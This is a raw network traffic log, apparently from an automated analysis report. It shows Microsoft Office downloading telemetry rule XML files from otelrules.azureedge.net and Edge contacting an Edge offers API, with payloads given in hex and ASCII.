2024-11-23 00:14:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 00:14:17 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 00:14:17 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001420Z-174c587ffdf8lw6dhC1TEBkgs8000000022000000000qzyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:21 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001421Z-174c587ffdf9xbcchC1TEBxkz4000000020000000000cv1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:21 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 3ae325a6-f01e-001f-6051-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001421Z-15b8b599d889fz52hC1TEB59as0000000270000000003skh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001421Z-178bfbc474bfw4gbhC1NYCunf400000003pg00000000emqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:21 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:21 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2bdd5943-e01e-0052-493a-3dd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001421Z-178bfbc474bxkclvhC1NYC69g400000003ng000000009uzy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 00:14:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49751	94.245.104.56	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:22 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:23 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sat, 23 Nov 2024 00:14:22 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=af27587ba86e2e2aa791a52417aa6c585c82244cf3bd8746d9cd4bf5c38fbf44;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:23 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001423Z-174c587ffdfx984chC1TEB676g000000023000000000h8ax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:23 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:23 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ae573645-101e-008d-516d-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001423Z-174c587ffdf7t49mhC1TEB4qbg00000001zg00000000qc93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:23 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:23 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:23 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 975c85cf-001e-0017-4d20-3d0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001423Z-178bfbc474btrnf9hC1NYCb80g00000003xg0000000043qm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 00:14:23 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:23 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 30601852-401e-0047-7476-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001423Z-174c587ffdfcj798hC1TEB9bq4000000029g00000000dwax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:23 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001423Z-174c587ffdf89smkhC1TEB697s000000027000000000en4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
